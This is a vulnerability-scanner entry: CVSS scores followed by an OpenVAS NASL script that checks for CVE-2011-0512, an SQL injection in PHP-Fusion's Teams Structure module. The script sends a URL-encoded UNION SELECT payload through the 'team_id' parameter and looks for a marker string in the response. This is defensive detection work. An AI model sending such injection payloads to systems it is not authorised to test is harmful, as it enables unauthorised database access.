6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
7.7 High
AI Score
Confidence
Low
0.001 Low
EPSS
Percentile
37.7%
PHP-Fusion Teams Structure Module is prone to an SQL injection vulnerability.
# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:php-fusion:php-fusion";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902366");
script_version("2022-04-28T13:38:57+0000");
script_tag(name:"last_modification", value:"2022-04-28 13:38:57 +0000 (Thu, 28 Apr 2022)");
script_tag(name:"creation_date", value:"2011-05-02 12:20:04 +0200 (Mon, 02 May 2011)");
script_cve_id("CVE-2011-0512");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_name("PHP-Fusion Teams Structure Module 'team_id' SQL Injection Vulnerability");
script_xref(name:"URL", value:"http://secunia.com/advisories/42943");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45826");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/64727");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/16004/");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("secpod_php_fusion_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("php-fusion/detected");
script_tag(name:"insight", value:"The flaw is due to input passed via the 'team_id' parameter to
'infusions/teams_structure/team.php' is not properly sanitised before being used in SQL queries.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the
disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade
to a newer release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"PHP-Fusion Teams Structure Module is prone to an SQL injection vulnerability.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to view,
add, modify or delete information in the back-end database.");
script_tag(name:"affected", value:"PHP-Fusion Teams Structure 3.0");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
url = dir + "/files/infusions/teams_structure/team.php?team_id=" +
"-1%27%0Aunion+select%0A%271%27%2C%272%27%2C%273%27%2C%274%27%2C%27" +
"SQL-INJECTION-TEST%27%2C%276%27%2C%277%27%2C%278%27%2C%279%27%2C%27" +
"10%27%2C%2711%27%2C%2712%27%2C%2713%27%2C%2714%27%2C%2715%27%2C%27" +
"16%27%2C%2717";
sndReq = http_get( item:url, port );
rcvRes = http_keepalive_send_recv( port:port, data:sndReq );
if( ">SQL-INJECTION-TEST<" >< rcvRes ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );